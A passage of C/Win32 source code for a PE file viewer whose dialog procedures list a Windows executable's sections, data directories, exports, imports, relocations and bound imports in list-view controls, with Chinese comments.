SendMessage(hListProcess,LVM_SETEXTENDEDLISTVIEWSTYLE,LVS_EX_FULLROWSELECT,LVS_EX_FULLROWSELECT);
//第一列
lv.mask = LVCF_TEXT | LVCF_WIDTH | LVCF_SUBITEM;
lv.pszText = TEXT("模块名称"); //列标题
lv.cx = 260;
lv.iSubItem = 0;
//ListView_InsertColumn(hListProcess, 0, &lv);
SendMessage(hListProcess,LVM_INSERTCOLUMN,0,(DWORD)&lv);
//第二列
lv.pszText = TEXT("模块位置");
lv.cx = 400;
lv.iSubItem = 1;
//ListView_InsertColumn(hListProcess, 1, &lv);
SendMessage(hListProcess,LVM_INSERTCOLUMN,1,(DWORD)&lv);
}
BOOL CALLBACK SECTION_DEAL(
HWND hwndDlg, // handle to dialog box
UINT uMsg, // message
WPARAM wParam, // first message parameter
LPARAM lParam // second message parameter
)
{
switch(uMsg)
{
case WM_CLOSE:
{
EndDialog(hwndDlg,0);
break;
}
case WM_INITDIALOG:
{
LV_COLUMN lv;
HWND hListProcess;
//初始化
memset(&lv,0,sizeof(LV_COLUMN));
//获取IDC_LIST_PROCESS句柄
hListProcess = GetDlgItem(hwndDlg,IDC_LIST12);
//设置整行选中
SendMessage(hListProcess,LVM_SETEXTENDEDLISTVIEWSTYLE,LVS_EX_FULLROWSELECT,LVS_EX_FULLROWSELECT);
//第一列
lv.mask = LVCF_TEXT | LVCF_WIDTH | LVCF_SUBITEM;
lv.pszText = TEXT("NAME"); //列标题
lv.cx = 60;
lv.iSubItem = 0;
//ListView_InsertColumn(hListProcess, 0, &lv);
SendMessage(hListProcess,LVM_INSERTCOLUMN,0,(DWORD)&lv);
lv.mask = LVCF_TEXT | LVCF_WIDTH | LVCF_SUBITEM;
lv.pszText = TEXT("Virtual Size"); //列标题
lv.cx = 125;
lv.iSubItem = 1;
//ListView_InsertColumn(hListProcess, 0, &lv);
SendMessage(hListProcess,LVM_INSERTCOLUMN,1,(DWORD)&lv);
lv.mask = LVCF_TEXT | LVCF_WIDTH | LVCF_SUBITEM;
lv.pszText = TEXT("Virtual Offset"); //列标题
lv.cx = 125;
lv.iSubItem = 2;
//ListView_InsertColumn(hListProcess, 0, &lv);
SendMessage(hListProcess,LVM_INSERTCOLUMN,2,(DWORD)&lv);
lv.mask = LVCF_TEXT | LVCF_WIDTH | LVCF_SUBITEM;
lv.pszText = TEXT("RAW Size"); //列标题
lv.cx = 100;
lv.iSubItem = 3;
//ListView_InsertColumn(hListProcess, 0, &lv);
SendMessage(hListProcess,LVM_INSERTCOLUMN,3,(DWORD)&lv);
lv.mask = LVCF_TEXT | LVCF_WIDTH | LVCF_SUBITEM;
lv.pszText = TEXT("Raw Offset"); //列标题
lv.cx = 100;
lv.iSubItem = 4;
//ListView_InsertColumn(hListProcess, 0, &lv);
SendMessage(hListProcess,LVM_INSERTCOLUMN,4,(DWORD)&lv);
lv.mask = LVCF_TEXT | LVCF_WIDTH | LVCF_SUBITEM;
lv.pszText = TEXT("Characters"); //列标题
lv.cx = 100;
lv.iSubItem = 5;
//ListView_InsertColumn(hListProcess, 0, &lv);
SendMessage(hListProcess,LVM_INSERTCOLUMN,5,(DWORD)&lv);
LV_ITEM vitem;
//初始化
memset(&vitem,0,sizeof(LV_ITEM));
vitem.mask = LVIF_TEXT;
char* start = get_file();
char* start_section = start+headers_file.e_lfanew+24+headers_file.SizeOfOptionalHeader;
for(int i=0;i<headers_file.NumberOfSections;i++){
sections.PointerToRawData = get_int_data(start_section,20);
sections.SizeOfRawData = get_int_data(start_section,16);
sections.VirtualAddress = get_int_data(start_section,12);
sections.VirtualSize = get_int_data(start_section,8);
sections.Characteristics = get_int_data(start_section,36);
vitem.pszText = start_section;
vitem.iItem = i;//第一行
vitem.iSubItem = 0; //第二列
SendMessage(hListProcess, LVM_INSERTITEM,0,(DWORD)&vitem);
TCHAR info[0x20];
sprintf(info,"%08x",sections.VirtualSize);
vitem.pszText = info;
vitem.iItem = i;//第一行
vitem.iSubItem = 1; //第二列
ListView_SetItem(hListProcess, &vitem);
sprintf(info,"%08x",sections.VirtualAddress);
vitem.pszText = info;
vitem.iItem = i;//第一行
vitem.iSubItem = 2; //第二列
ListView_SetItem(hListProcess, &vitem);
sprintf(info,"%08x",sections.SizeOfRawData);
vitem.pszText = info;
vitem.iItem = i;//第一行
vitem.iSubItem = 3; //第二列
ListView_SetItem(hListProcess, &vitem);
sprintf(info,"%08x",sections.PointerToRawData);
vitem.pszText = info;
vitem.iItem = i;//第一行
vitem.iSubItem = 4; //第二列
ListView_SetItem(hListProcess, &vitem);
sprintf(info,"%08x",sections.Characteristics);
vitem.pszText = info;
vitem.iItem = i;//第一行
vitem.iSubItem = 5; //第二列
ListView_SetItem(hListProcess, &vitem);
start_section = start_section+40;
}
}
}
return false;
}
BOOL CALLBACK DIRECTION1_DEAL(
HWND hwndDlg, // handle to dialog box
UINT uMsg, // message
WPARAM wParam, // first message parameter
LPARAM lParam // second message parameter
)
{
switch(uMsg)
{
case WM_CLOSE:
{
EndDialog(hwndDlg,0);
break;
}
case WM_INITDIALOG:
{
LV_COLUMN lv;
HWND hListProcess;
//初始化
memset(&lv,0,sizeof(LV_COLUMN));
//获取IDC_LIST_PROCESS句柄
hListProcess = GetDlgItem(hwndDlg,IDC_LIST122);
//设置整行选中
SendMessage(hListProcess,LVM_SETEXTENDEDLISTVIEWSTYLE,LVS_EX_FULLROWSELECT,LVS_EX_FULLROWSELECT);
//第一列
lv.mask = LVCF_TEXT | LVCF_WIDTH | LVCF_SUBITEM;
lv.pszText = TEXT("序号"); //列标题
lv.cx = 60;
lv.iSubItem = 0;
//ListView_InsertColumn(hListProcess, 0, &lv);
SendMessage(hListProcess,LVM_INSERTCOLUMN,0,(DWORD)&lv);
lv.mask = LVCF_TEXT | LVCF_WIDTH | LVCF_SUBITEM;
lv.pszText = TEXT("RVA"); //列标题
lv.cx = 150;
lv.iSubItem = 1;
//ListView_InsertColumn(hListProcess, 0, &lv);
SendMessage(hListProcess,LVM_INSERTCOLUMN,1,(DWORD)&lv);
lv.mask = LVCF_TEXT | LVCF_WIDTH | LVCF_SUBITEM;
lv.pszText = TEXT("offset"); //列标题
lv.cx = 150;
lv.iSubItem = 2;
//ListView_InsertColumn(hListProcess, 0, &lv);
SendMessage(hListProcess,LVM_INSERTCOLUMN,2,(DWORD)&lv);
lv.mask = LVCF_TEXT | LVCF_WIDTH | LVCF_SUBITEM;
lv.pszText = TEXT("函数名"); //列标题
lv.cx = 150;
lv.iSubItem = 3;
//ListView_InsertColumn(hListProcess, 0, &lv);
SendMessage(hListProcess,LVM_INSERTCOLUMN,3,(DWORD)&lv);
get_export_Info();
HWND hwnd = GetDlgItem(hwndDlg, IDC_EDIT1);
TCHAR info[0x30];
sprintf(info,"%08x",export.Time);
SetWindowText(hwnd, info);
hwnd = GetDlgItem(hwndDlg, IDC_EDIT16);
SetWindowText(hwnd, export.Name);
hwnd = GetDlgItem(hwndDlg, IDC_EDIT5);
sprintf(info,"%08x",export.NumberOfFunctions);
SetWindowText(hwnd, info);
hwnd = GetDlgItem(hwndDlg, IDC_EDIT7);
sprintf(info,"%08x",export.NumberOfNames);
SetWindowText(hwnd, info);
hwnd = GetDlgItem(hwndDlg, IDC_EDIT2);
sprintf(info,"%08x",export.AddressOfFunctions);
SetWindowText(hwnd, info);
hwnd = GetDlgItem(hwndDlg, IDC_EDIT4);
sprintf(info,"%08x",export.AddressOfNames);
SetWindowText(hwnd, info);
hwnd = GetDlgItem(hwndDlg, IDC_EDIT6);
sprintf(info,"%08x",export.AddressOfNameOrdinals);
SetWindowText(hwnd, info);
hwnd = GetDlgItem(hwndDlg, IDC_EDIT8);
sprintf(info,"%08x",export.Base);
SetWindowText(hwnd, info);
LV_ITEM vitem;
//初始化
memset(&vitem,0,sizeof(LV_ITEM));
vitem.mask = LVIF_TEXT;
char* start = get_file();
for(int i=0;i<export.NumberOfFunctions;i++){
export.RVA = get_int_data(start+Rva_to_Foa(export.AddressOfFunctions,start),4*i);
export.Name_fun = start + get_int_data(start+Rva_to_Foa(export.AddressOfNames,start),4*i);
export.ordinal = get_short_data(start+Rva_to_Foa(export.AddressOfNameOrdinals,start),2*i);
sprintf(info,"%04x",export.ordinal+export.Base);
vitem.pszText = info;
vitem.iItem = i;//第一行
vitem.iSubItem = 0; //第二列
SendMessage(hListProcess, LVM_INSERTITEM,0,(DWORD)&vitem);
sprintf(info,"%08x",export.RVA);
vitem.pszText = info;
vitem.iItem = i;//第一行
vitem.iSubItem = 1; //第二列
ListView_SetItem(hListProcess, &vitem);
sprintf(info,"%08x",export.RVA);
vitem.pszText = info;
vitem.iItem = i;//第一行
vitem.iSubItem = 2; //第二列
ListView_SetItem(hListProcess, &vitem);
vitem.pszText = export.Name_fun;
vitem.iItem = i;//第一行
vitem.iSubItem = 3; //第二列
ListView_SetItem(hListProcess, &vitem);
}
free(start);
}
case WM_COMMAND:
{
switch(LOWORD(wParam))
{
case IDC_BUTTON1:
{
EndDialog(hwndDlg,0);
break;
}
}
}
}
return false;
}
BOOL CALLBACK DIRECTION2_DEAL(
HWND hwndDlg, // handle to dialog box
UINT uMsg, // message
WPARAM wParam, // first message parameter
LPARAM lParam // second message parameter
)
{
switch(uMsg)
{
case WM_CLOSE:
{
EndDialog(hwndDlg,0);
break;
}
case WM_INITDIALOG:
{
LV_COLUMN lv;
HWND hListProcess;
//初始化
memset(&lv,0,sizeof(LV_COLUMN));
//获取IDC_LIST_PROCESS句柄
hListProcess = GetDlgItem(hwndDlg,IDC_LIST111);
//设置整行选中
SendMessage(hListProcess,LVM_SETEXTENDEDLISTVIEWSTYLE,LVS_EX_FULLROWSELECT,LVS_EX_FULLROWSELECT);
//第一列
lv.mask = LVCF_TEXT | LVCF_WIDTH | LVCF_SUBITEM;
lv.pszText = TEXT("DLL NAME"); //列标题
lv.cx = 150;
lv.iSubItem = 0;
//ListView_InsertColumn(hListProcess, 0, &lv);
SendMessage(hListProcess,LVM_INSERTCOLUMN,0,(DWORD)&lv);
lv.mask = LVCF_TEXT | LVCF_WIDTH | LVCF_SUBITEM;
lv.pszText = TEXT("original thunk"); //列标题
lv.cx = 150;
lv.iSubItem = 1;
//ListView_InsertColumn(hListProcess, 0, &lv);
SendMessage(hListProcess,LVM_INSERTCOLUMN,1,(DWORD)&lv);
lv.mask = LVCF_TEXT | LVCF_WIDTH | LVCF_SUBITEM;
lv.pszText = TEXT("Timestamp"); //列标题
lv.cx = 150;
lv.iSubItem = 2;
//ListView_InsertColumn(hListProcess, 0, &lv);
SendMessage(hListProcess,LVM_INSERTCOLUMN,2,(DWORD)&lv);
lv.mask = LVCF_TEXT | LVCF_WIDTH | LVCF_SUBITEM;
lv.pszText = TEXT("first thunk"); //列标题
lv.cx = 150;
lv.iSubItem = 3;
//ListView_InsertColumn(hListProcess, 0, &lv);
SendMessage(hListProcess,LVM_INSERTCOLUMN,3,(DWORD)&lv);
LV_ITEM vitem;
//初始化
memset(&vitem,0,sizeof(LV_ITEM));
vitem.mask = LVIF_TEXT;
char* start = get_file();
int virtualAddress = get_int_data(start,headers_file.e_lfanew+128);
int fileAddress = Rva_to_Foa(virtualAddress,start);
char* export_start;
export_start = start+fileAddress;
int i =0;
TCHAR info[0x30];
while(1){
int original_thunk = get_int_data(export_start,0);
int file_orginal_thunk = Rva_to_Foa(original_thunk,start);
int Name = get_int_data(export_start,12);
int Name_file = Rva_to_Foa(Name,start);
int first_thunk = get_int_data(export_start,16);
int file_first_thunk = Rva_to_Foa(first_thunk,start);
int Timestamp = get_int_data(export_start,4);
if(original_thunk==0&&Name==0&&first_thunk==0){
break;
}
vitem.pszText = start+Name_file;
vitem.iItem = i;//第一行
vitem.iSubItem = 0; //第二列
SendMessage(hListProcess, LVM_INSERTITEM,0,(DWORD)&vitem);
sprintf(info,"%08x",original_thunk);
vitem.pszText = info;
vitem.iItem = i;//第一行
vitem.iSubItem = 1; //第二列
ListView_SetItem(hListProcess, &vitem);
sprintf(info,"%08x",Timestamp);
vitem.pszText = info;
vitem.iItem = i;//第一行
vitem.iSubItem = 2; //第二列
ListView_SetItem(hListProcess, &vitem);
sprintf(info,"%08x",first_thunk);
vitem.pszText = info;
vitem.iItem = i;//第一行
vitem.iSubItem = 3; //第二列
ListView_SetItem(hListProcess, &vitem);
export_start = export_start+20;
i++;
}
free(start);
//初始化
memset(&lv,0,sizeof(LV_COLUMN));
//获取IDC_LIST_PROCESS句柄
hListProcess = GetDlgItem(hwndDlg,IDC_LIST112);
//设置整行选中
SendMessage(hListProcess,LVM_SETEXTENDEDLISTVIEWSTYLE,LVS_EX_FULLROWSELECT,LVS_EX_FULLROWSELECT);
//第一列
lv.mask = LVCF_TEXT | LVCF_WIDTH | LVCF_SUBITEM;
lv.pszText = TEXT("API NAME"); //列标题
lv.cx = 150;
lv.iSubItem = 0;
//ListView_InsertColumn(hListProcess, 0, &lv);
SendMessage(hListProcess,LVM_INSERTCOLUMN,0,(DWORD)&lv);
lv.mask = LVCF_TEXT | LVCF_WIDTH | LVCF_SUBITEM;
lv.pszText = TEXT("Thunk RVA"); //列标题
lv.cx = 120;
lv.iSubItem = 1;
//ListView_InsertColumn(hListProcess, 0, &lv);
SendMessage(hListProcess,LVM_INSERTCOLUMN,1,(DWORD)&lv);
lv.mask = LVCF_TEXT | LVCF_WIDTH | LVCF_SUBITEM;
lv.pszText = TEXT("Thunk Offset"); //列标题
lv.cx = 120;
lv.iSubItem = 2;
//ListView_InsertColumn(hListProcess, 0, &lv);
SendMessage(hListProcess,LVM_INSERTCOLUMN,2,(DWORD)&lv);
lv.mask = LVCF_TEXT | LVCF_WIDTH | LVCF_SUBITEM;
lv.pszText = TEXT("Hint"); //列标题
lv.cx = 120;
lv.iSubItem = 3;
//ListView_InsertColumn(hListProcess, 0, &lv);
SendMessage(hListProcess,LVM_INSERTCOLUMN,3,(DWORD)&lv);
}
case WM_NOTIFY:
{
NMHDR* pNMHDR = (NMHDR*)lParam;
if(wParam == IDC_LIST111 && pNMHDR->code == NM_CLICK)
{
EnumModules_import(GetDlgItem(hwndDlg,IDC_LIST111),wParam,lParam,GetDlgItem(hwndDlg,IDC_LIST112));
}
}
case WM_COMMAND:
{
switch(LOWORD(wParam))
{
case IDC_BUTTON1:
{
EndDialog(hwndDlg,0);
break;
}
}
}
}
return false;
}
BOOL CALLBACK DIRECTION3_DEAL(
HWND hwndDlg, // handle to dialog box
UINT uMsg, // message
WPARAM wParam, // first message parameter
LPARAM lParam // second message parameter
)
{
switch(uMsg)
{
case WM_CLOSE:
{
EndDialog(hwndDlg,0);
break;
}
case WM_INITDIALOG:
{
}
}
return false;
}
BOOL CALLBACK DIRECTION4_DEAL(
HWND hwndDlg, // handle to dialog box
UINT uMsg, // message
WPARAM wParam, // first message parameter
LPARAM lParam // second message parameter
)
{
switch(uMsg)
{
case WM_CLOSE:
{
EndDialog(hwndDlg,0);
break;
}
case WM_INITDIALOG:
{
LV_COLUMN lv;
HWND hListProcess;
//初始化
memset(&lv,0,sizeof(LV_COLUMN));
//获取IDC_LIST_PROCESS句柄
hListProcess = GetDlgItem(hwndDlg,IDC_LIST141);
//设置整行选中
SendMessage(hListProcess,LVM_SETEXTENDEDLISTVIEWSTYLE,LVS_EX_FULLROWSELECT,LVS_EX_FULLROWSELECT);
//第一列
lv.mask = LVCF_TEXT | LVCF_WIDTH | LVCF_SUBITEM;
lv.pszText = TEXT("INDEX"); //列标题
lv.cx = 150;
lv.iSubItem = 0;
//ListView_InsertColumn(hListProcess, 0, &lv);
SendMessage(hListProcess,LVM_INSERTCOLUMN,0,(DWORD)&lv);
lv.mask = LVCF_TEXT | LVCF_WIDTH | LVCF_SUBITEM;
lv.pszText = TEXT("Offset"); //列标题
lv.cx = 150;
lv.iSubItem = 1;
//ListView_InsertColumn(hListProcess, 0, &lv);
SendMessage(hListProcess,LVM_INSERTCOLUMN,1,(DWORD)&lv);
lv.mask = LVCF_TEXT | LVCF_WIDTH | LVCF_SUBITEM;
lv.pszText = TEXT("RVA"); //列标题
lv.cx = 150;
lv.iSubItem = 2;
//ListView_InsertColumn(hListProcess, 0, &lv);
SendMessage(hListProcess,LVM_INSERTCOLUMN,2,(DWORD)&lv);
lv.mask = LVCF_TEXT | LVCF_WIDTH | LVCF_SUBITEM;
lv.pszText = TEXT("Size of Block"); //列标题
lv.cx = 150;
lv.iSubItem = 3;
//ListView_InsertColumn(hListProcess, 0, &lv);
SendMessage(hListProcess,LVM_INSERTCOLUMN,3,(DWORD)&lv);
LV_ITEM vitem;
//初始化
memset(&vitem,0,sizeof(LV_ITEM));
vitem.mask = LVIF_TEXT;
char* start = get_file();
int virtualAddress = get_int_data(start,headers_file.e_lfanew+120+8*5);
int fileAddress = Rva_to_Foa(virtualAddress,start);
char* relocation_start;
//printf("%x",fileAddress);
relocation_start = start+fileAddress;
//int RVA = get_int_data(relocation_start,0);
int i = 0;
TCHAR info[0x20];
while(1){
int RVA = get_int_data(relocation_start,0);
int offset = Rva_to_Foa(RVA,start);
int Size_of_Block = get_int_data(relocation_start,4);
if(RVA==0&&Size_of_Block==0){
break;
}
//printf("RVA: %x\tSize_of_Block: %x\n",RVA,Size_of_Block);
sprintf(info,"%d",i+1);
vitem.pszText = info;
vitem.iItem = i;//第一行
vitem.iSubItem = 0; //第二列
SendMessage(hListProcess, LVM_INSERTITEM,0,(DWORD)&vitem);
sprintf(info,"%08x",RVA);
vitem.pszText = info;
vitem.iItem = i;//第一行
vitem.iSubItem = 1; //第二列
ListView_SetItem(hListProcess, &vitem);
sprintf(info,"%08x",offset);
vitem.pszText = info;
vitem.iItem = i;//第一行
vitem.iSubItem = 2; //第二列
ListView_SetItem(hListProcess, &vitem);
sprintf(info,"%08x",Size_of_Block);
vitem.pszText = info;
vitem.iItem = i;//第一行
vitem.iSubItem = 3 ; //第二列
ListView_SetItem(hListProcess, &vitem);
i++;
relocation_start = relocation_start + Size_of_Block;
}
free(start);
//*******************************************************************************************************//
hListProcess = GetDlgItem(hwndDlg,IDC_LIST142);
lv.mask = LVCF_TEXT | LVCF_WIDTH | LVCF_SUBITEM;
lv.pszText = TEXT("INDEX"); //列标题
lv.cx = 150;
lv.iSubItem = 0;
//ListView_InsertColumn(hListProcess, 0, &lv);
SendMessage(hListProcess,LVM_INSERTCOLUMN,0,(DWORD)&lv);
lv.mask = LVCF_TEXT | LVCF_WIDTH | LVCF_SUBITEM;
lv.pszText = TEXT("RVA"); //列标题
lv.cx = 150;
lv.iSubItem = 1;
//ListView_InsertColumn(hListProcess, 0, &lv);
SendMessage(hListProcess,LVM_INSERTCOLUMN,1,(DWORD)&lv);
lv.mask = LVCF_TEXT | LVCF_WIDTH | LVCF_SUBITEM;
lv.pszText = TEXT("Offset"); //列标题
lv.cx = 150;
lv.iSubItem = 2;
//ListView_InsertColumn(hListProcess, 0, &lv);
SendMessage(hListProcess,LVM_INSERTCOLUMN,2,(DWORD)&lv);
lv.mask = LVCF_TEXT | LVCF_WIDTH | LVCF_SUBITEM;
lv.pszText = TEXT("TYPE"); //列标题
lv.cx = 150;
lv.iSubItem = 3;
//ListView_InsertColumn(hListProcess, 0, &lv);
SendMessage(hListProcess,LVM_INSERTCOLUMN,3,(DWORD)&lv);
}
case WM_NOTIFY:
{
NMHDR* pNMHDR = (NMHDR*)lParam;
if(wParam == IDC_LIST141 && pNMHDR->code == NM_CLICK)
{
EnumModules_re(GetDlgItem(hwndDlg,IDC_LIST141),wParam,lParam,GetDlgItem(hwndDlg,IDC_LIST142));
}
}
case WM_COMMAND:
{
switch(LOWORD(wParam))
{
case IDC_BUTTON1:
{
EndDialog(hwndDlg,0);
break;
}
}
}
}
return false;
}
BOOL CALLBACK DIRECTION5_DEAL(
HWND hwndDlg, // handle to dialog box
UINT uMsg, // message
WPARAM wParam, // first message parameter
LPARAM lParam // second message parameter
)
{
switch(uMsg)
{
case WM_CLOSE:
{
EndDialog(hwndDlg,0);
break;
}
case WM_INITDIALOG:
{
LV_COLUMN lv;
HWND hListProcess;
//初始化
memset(&lv,0,sizeof(LV_COLUMN));
//获取IDC_LIST_PROCESS句柄
hListProcess = GetDlgItem(hwndDlg,IDC_LIST151);
//设置整行选中
SendMessage(hListProcess,LVM_SETEXTENDEDLISTVIEWSTYLE,LVS_EX_FULLROWSELECT,LVS_EX_FULLROWSELECT);
//第一列
lv.mask = LVCF_TEXT | LVCF_WIDTH | LVCF_SUBITEM;
lv.pszText = TEXT("DLL NAME"); //列标题
lv.cx = 200;
lv.iSubItem = 0;
//ListView_InsertColumn(hListProcess, 0, &lv);
SendMessage(hListProcess,LVM_INSERTCOLUMN,0,(DWORD)&lv);
lv.mask = LVCF_TEXT | LVCF_WIDTH | LVCF_SUBITEM;
lv.pszText = TEXT("TimeStamp"); //列标题
lv.cx = 200;
lv.iSubItem = 1;
//ListView_InsertColumn(hListProcess, 0, &lv);
SendMessage(hListProcess,LVM_INSERTCOLUMN,1,(DWORD)&lv);
LV_ITEM vitem;
//初始化
memset(&vitem,0,sizeof(LV_ITEM));
vitem.mask = LVIF_TEXT;
char* start = get_file();
int virtualAddress = get_int_data(start,headers_file.e_lfanew+120+8*11);
int fileAddress = Rva_to_Foa(virtualAddress,start);
//printf("%x",fileAddress);
char* export_start;
//printf("%x",fileAddress);
export_start = start+fileAddress;
int j=0;
TCHAR info[0x20];
while(1){
int timestamp = get_int_data(export_start,0);
short name_offset = get_short_data(export_start,4);
short num = get_short_data(export_start,6);
if(timestamp==0&&name_offset==0&&num==0){break;}
vitem.pszText = start+fileAddress+name_offset;
vitem.iItem = j;//第一行
vitem.iSubItem = 0; //第二列
SendMessage(hListProcess, LVM_INSERTITEM,0,(DWORD)&vitem);
sprintf(info,"%08x",timestamp);
vitem.pszText = info;
vitem.iItem = j;//第一行
vitem.iSubItem = 1; //第二列
ListView_SetItem(hListProcess, &vitem);
int i;
for(i=0;i<num;i++){
timestamp = get_int_data(export_start,8*i);
name_offset = get_short_data(export_start,4+8*i);
}
export_start = export_start+8+8*num;
j++;
}
}
case WM_COMMAND:
{
switch(LOWORD(wParam))
{
case IDC_BUTTON1:
{
EndDialog(hwndDlg,0);
break;
}
}
}
}
return false;
}
BOOL CALLBACK DIRECTION6_DEAL(
HWND hwndDlg, // handle to dialog box
UINT uMsg, // message
WPARAM wParam, // first message parameter
LPARAM lParam // second message parameter
)
{
switch(uMsg)
{
case WM_CLOSE:
{
EndDialog(hwndDlg,0);
break;
}
case WM_INITDIALOG:
{
}
}
return false;
}
BOOL CALLBACK DIRECTION_DEAL(
HWND hwndDlg, // handle to dialog box
UINT uMsg, // message
WPARAM wParam, // first message parameter
LPARAM lParam // second message parameter
)
{
switch(uMsg)
{
case WM_CLOSE:
{
EndDialog(hwndDlg,0);
break;
}
case WM_INITDIALOG:
{
getInfo_dir();
HWND hwnd = GetDlgItem(hwndDlg, IDC_EDIT111);
TCHAR info[0x20];
sprintf(info,"%08x",DN.d1.address);
SetWindowText(hwnd, info);
hwnd = GetDlgItem(hwndDlg, IDC_EDIT112);
sprintf(info,"%08x",DN.d1.size);
SetWindowText(hwnd, info);
hwnd = GetDlgItem(hwndDlg, IDC_EDIT113);
sprintf(info,"%08x",DN.d2.address);
SetWindowText(hwnd, info);
hwnd = GetDlgItem(hwndDlg, IDC_EDIT114);
sprintf(info,"%08x",DN.d2.size);//数据
SetWindowText(hwnd, info);
hwnd = GetDlgItem(hwndDlg, IDC_EDIT115);
sprintf(info,"%08x",DN.d3.address);//代码
SetWindowText(hwnd, info);
hwnd = GetDlgItem(hwndDlg, IDC_EDIT116);
sprintf(info,"%08x",DN.d3.size);
SetWindowText(hwnd, info);
hwnd = GetDlgItem(hwndDlg, IDC_EDIT117);
sprintf(info,"%08x",DN.d4.address);
SetWindowText(hwnd, info);
hwnd = GetDlgItem(hwndDlg, IDC_EDIT118);
sprintf(info,"%08x",DN.d4.size);//标志字
SetWindowText(hwnd, info);
hwnd = GetDlgItem(hwndDlg, IDC_EDIT119);
sprintf(info,"%08x",DN.d5.address);//子系统
SetWindowText(hwnd, info);
hwnd = GetDlgItem(hwndDlg, IDC_EDIT120);
sprintf(info,"%08x",DN.d5.size);
SetWindowText(hwnd, info);
hwnd = GetDlgItem(hwndDlg, IDC_EDIT121);
sprintf(info,"%08x",DN.d6.address);//时间戳
SetWindowText(hwnd, info);
hwnd = GetDlgItem(hwndDlg, IDC_EDIT122);
sprintf(info,"%08x",DN.d6.size);
SetWindowText(hwnd, info);
hwnd = GetDlgItem(hwndDlg, IDC_EDIT123);
sprintf(info,"%08x",DN.d7.address);//特征直
SetWindowText(hwnd, info);
hwnd = GetDlgItem(hwndDlg, IDC_EDIT124);
sprintf(info,"%08x",DN.d7.size);//校验和
SetWindowText(hwnd, info);
hwnd = GetDlgItem(hwndDlg, IDC_EDIT125);
sprintf(info,"%08x",DN.d8.address);
SetWindowText(hwnd, info);
hwnd = GetDlgItem(hwndDlg, IDC_EDIT126);
sprintf(info,"%08x",DN.d8.size);
SetWindowText(hwnd, info);
hwnd = GetDlgItem(hwndDlg, IDC_EDIT127);
sprintf(info,"%08x",DN.d9.address);
SetWindowText(hwnd, info);
hwnd = GetDlgItem(hwndDlg, IDC_EDIT128);
sprintf(info,"%08x",DN.d9.size);
SetWindowText(hwnd, info);
hwnd = GetDlgItem(hwndDlg, IDC_EDIT129);
sprintf(info,"%08x",DN.d10.address);
SetWindowText(hwnd, info);
hwnd = GetDlgItem(hwndDlg, IDC_EDIT130);
sprintf(info,"%08x",DN.d10.size);
SetWindowText(hwnd, info);
hwnd = GetDlgItem(hwndDlg, IDC_EDIT131);
sprintf(info,"%08x",DN.d11.address);
SetWindowText(hwnd, info);
hwnd = GetDlgItem(hwndDlg, IDC_EDIT132);
sprintf(info,"%08x",DN.d11.size);
SetWindowText(hwnd, info);
hwnd = GetDlgItem(hwndDlg, IDC_EDIT133);
sprintf(info,"%08x",DN.d12.address);
SetWindowText(hwnd, info);
hwnd = GetDlgItem(hwndDlg, IDC_EDIT134);
sprintf(info,"%08x",DN.d12.size);
SetWindowText(hwnd, info);
hwnd = GetDlgItem(hwndDlg, IDC_EDIT135);
sprintf(info,"%08x",DN.d13.address);
SetWindowText(hwnd, info);
hwnd = GetDlgItem(hwndDlg, IDC_EDIT136);
sprintf(info,"%08x",DN.d13.size);
SetWindowText(hwnd, info);
hwnd = GetDlgItem(hwndDlg, IDC_EDIT137);
sprintf(info,"%08x",DN.d14.address);
SetWindowText(hwnd, info);
hwnd = GetDlgItem(hwndDlg, IDC_EDIT138);
sprintf(info,"%08x",DN.d14.size);
SetWindowText(hwnd, info);
hwnd = GetDlgItem(hwndDlg, IDC_EDIT139);
sprintf(info,"%08x",DN.d15.address);
SetWindowText(hwnd, info);
hwnd = GetDlgItem(hwndDlg, IDC_EDIT140);
sprintf(info,"%08x",DN.d15.size);
SetWindowText(hwnd, info);
hwnd = GetDlgItem(hwndDlg, IDC_EDIT141);
sprintf(info,"%08x",DN.d16.address);
SetWindowText(hwnd, info);
hwnd = GetDlgItem(hwndDlg, IDC_EDIT142);
sprintf(info,"%08x",DN.d16.size);
SetWindowText(hwnd, info);
}
case WM_COMMAND:
{
switch(LOWORD(wParam))
{
case IDC_BUTTON11:
{
EndDialog(hwndDlg,0);
break;
}
case IDC_BUTTON111:
{
if(DN.d1.size!=0)
DialogBox(hInstanceicon,MAKEINTRESOURCE(IDD_DIALOG112),NULL,DIRECTION1_DEAL);
break;
}
case IDC_BUTTON112:
{
if(DN.d2.size!=0)
DialogBox(hInstanceicon,MAKEINTRESOURCE(IDD_DIALOG111),NULL,DIRECTION2_DEAL);
break;
}
case IDC_BUTTON113:
{
if(DN.d3.size!=0)
DialogBox(hInstanceicon,MAKEINTRESOURCE(IDD_DIALOG113),NULL,DIRECTION3_DEAL);
break;
}
case IDC_BUTTON114:
{
if(DN.d6.size!=0)
DialogBox(hInstanceicon,MAKEINTRESOURCE(IDD_DIALOG114),NULL,DIRECTION4_DEAL);
break;
}
case IDC_BUTTON115:
{
if(DN.d12.size!=0)
DialogBox(hInstanceicon,MAKEINTRESOURCE(IDD_DIALOG115),NULL,DIRECTION5_DEAL);
break;
}
}
}
}
return false;
}
BOOL CALLBACK PE_DEAL(
HWND hwndDlg, // handle to dialog box
UINT uMsg, // message
WPARAM wParam, // first message parameter
LPARAM lParam // second message parameter
)
{
switch(uMsg)
{
case WM_CLOSE:
{
EndDialog(hwndDlg,0);
break;
}
case WM_INITDIALOG:
{
getInfo();
HWND hwnd = GetDlgItem(hwndDlg, IDC_EDIT1);
TCHAR info[0x20];
sprintf(info,"%08x",headers_file.e_lfanew);
SetWindowText(hwnd, info);
hwnd = GetDlgItem(hwndDlg, IDC_EDIT2);
sprintf(info,"%08x",headers_file.ImageBase);
SetWindowText(hwnd, info);
hwnd = GetDlgItem(hwndDlg, IDC_EDIT3);
sprintf(info,"%08x",headers_file.SizeOfImage);
SetWindowText(hwnd, info);
hwnd = GetDlgItem(hwndDlg, IDC_EDIT4);
sprintf(info,"%08x",headers_file.BaseOfData);//数据
SetWindowText(hwnd, info);
hwnd = GetDlgItem(hwndDlg, IDC_EDIT5);
sprintf(info,"%08x",headers_file.BaseOfCode);//代码
SetWindowText(hwnd, info);
hwnd = GetDlgItem(hwndDlg, IDC_EDIT6);
sprintf(info,"%08x",headers_file.SectionAlignment);
SetWindowText(hwnd, info);
hwnd = GetDlgItem(hwndDlg, IDC_EDIT7);
sprintf(info,"%08x",headers_file.FileAlignment);
SetWindowText(hwnd, info);
hwnd = GetDlgItem(hwndDlg, IDC_EDIT8);
sprintf(info,"%04x",headers_file.Characteristics);//标志字
SetWindowText(hwnd, info);
